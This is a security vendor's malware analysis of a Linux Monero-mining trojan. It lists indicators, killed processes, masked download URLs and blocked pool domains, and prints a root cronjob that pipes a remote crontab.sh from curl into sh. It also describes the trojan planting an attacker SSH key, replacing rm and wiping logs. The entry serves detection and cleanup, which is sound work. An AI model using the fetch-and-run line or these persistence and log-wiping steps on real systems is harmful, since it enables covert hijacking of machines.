Trojan.Linux.MALXMR.UWEJO

 Analysis by: Jemimah Mae Molina

 ALIASES:

Trojan.Linux.Coinminer (IKARUS); Linux/CoinMiner.HB!tr (FORTINET)

 PLATFORM:

Linux

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

Infection Channel:

Downloaded from the Internet, Dropped by other malware


This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It connects to certain websites to send and receive information.

  TECHNICAL DETAILS

File Size:

152,361 bytes

Memory Resident:

No

Initial Samples Received Date:

03 Jun 2019

Payload:

Deletes files, Connects to URLs/IPs, Terminates processes

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan drops the following files:

  • {directory}/rzx → contains the new file name of its miner

It creates the following folders:

  • /root/.ssh

Other System Modifications

This Trojan modifies the following file(s):

  • /root/.ssh/authorized_keys → appends the attacker's SSH public-key

It deletes the following files:

  • /tmp/ddg*
  • /tmp/wnTKYg
  • /tmp/qW3xT.2
  • /tmp/ddgs.3013
  • /tmp/ddgs.3012
  • /tmp/2t3ik
  • /tmp/root.sh
  • /tmp/pools.txt
  • /tmp/libapache
  • /tmp/config.json
  • /tmp/bashf
  • /tmp/bashg
  • /tmp/libapache
  • /tmp/kworkerds
  • /bin/kworkerds
  • /bin/config.json
  • /var/tmp/kworkerds
  • /var/tmp/config.json
  • /usr/local/lib/libjdk.so
  • /tmp/.systemd-private-*
  • /usr/lib/libiacpkmn.so.3
  • /etc/init.d/nfstruncate
  • /etc/init.d/ats
  • /etc/zigw
  • /tmp/zigw
  • /etc/zjgw

Process Termination

This Trojan terminates the following processes if found running in the affected system's memory:

  • wnTKYg
  • ddg*
  • stratum
  • xmrig
  • /var/tmp/java
  • ddgs
  • qW3xT
  • t00ls.ru
  • sustes
  • Xbash
  • hashfish
  • .syslog
  • xig
  • systemctI
  • tsm
  • zigw
  • zjgw
  • Processes that use the following ports:
    • 3333
    • 4444
    • 5555
    • 6666
    • 7777
    • 3347
    • 14444
    • 14443

Download Routine

This Trojan connects to the following website(s) to download and execute a malicious file:

  • http://w.{BLOCKED}n.com:43768/pvds
  • http://w.{BLOCKED}n.com:43768/httpdz
  • http://w.{BLOCKED}n.com:43768/migrations
  • http://w.{BLOCKED}n.com:43768/rm
  • http://w.{BLOCKED}n.com:43768/crontab.sh

It saves the files it downloads using the following names:

Other Details

This Trojan connects to the following website to send and receive information:

  • http://w.{BLOCKED}n.com:43768/
  • http://w.{BLOCKED}n.com:43768/
  • https://pastebin.com/raw/{BLOCKED}WL

It does the following:

  • It creates the following service:
    • Service name: ats
      Description: service
      Task to be run: nohup /etc/initdz > /dev/null &
  • It creates a root cronjob to enable automatic execution of crontab.sh every 12 minutes:
    • Path: /var/spool/cron/root
      Content: */12 * * * * curl -fsSL http://w.{BLOCKED}i.xyz:43768/crontab.sh | sh
  • It blocks all outgoing SSH connections on the following ports:
    • 3333
    • 5555
    • 7777
    • 9999
    • 14444
  • It modifies the system's HOSTS files to prevent users from accessing the following websites:
    • mine.moneropool.com
    • xmr.crypto-pool.fr
    • monerohash.com
    • xmrpool.eu
    • pool.noobxmr.com
    • pool.minexmr.cn
    • xmr.poolto.be
    • monerohash.com
    • stratum.viaxmr.com
    • pool.monero.hashvault.pro
    • xmr-us.suprnova.cc
    • de.moriaxmr.com
    • de2.moriaxmr.com
    • fr.minexmr.com
    • de.minexmr.com
    • ca.minexmr.com
    • sg.minexmr.com
    • xmr.bohemianpool.com
    • xmr-usa.dwarfpool.com
    • monero.miners.pro
    • xmr.prohash.net
    • thyrsi.com
    • minerxmr.ru
    • zer0day.ru
    • minergate.com
    • pixeldra.in
    • w.3ei.xyz
    • w.21-3n.xyz
  • It replaces the rm binary of the infected machine to prevent the user from deleting its components.
  • It clears the following objects:
    • /root/.bash_history
    • /var/log/secure
    • /var/log/wtmp
    • /var/spool/mail/root
    • history
  • If the user is root, {directory} will be set to /etc, /tmp otherwise.

  SOLUTION

Minimum Scan Engine:

9.850

FIRST VSAPI PATTERN FILE:

15.152.02

FIRST VSAPI PATTERN DATE:

04 Jun 2019

VSAPI OPR PATTERN File:

15.153.00

VSAPI OPR PATTERN Date:

05 Jun 2019

Scan your computer with your Trend Micro product to delete files detected as Trojan.Linux.MALXMR.UWEJO. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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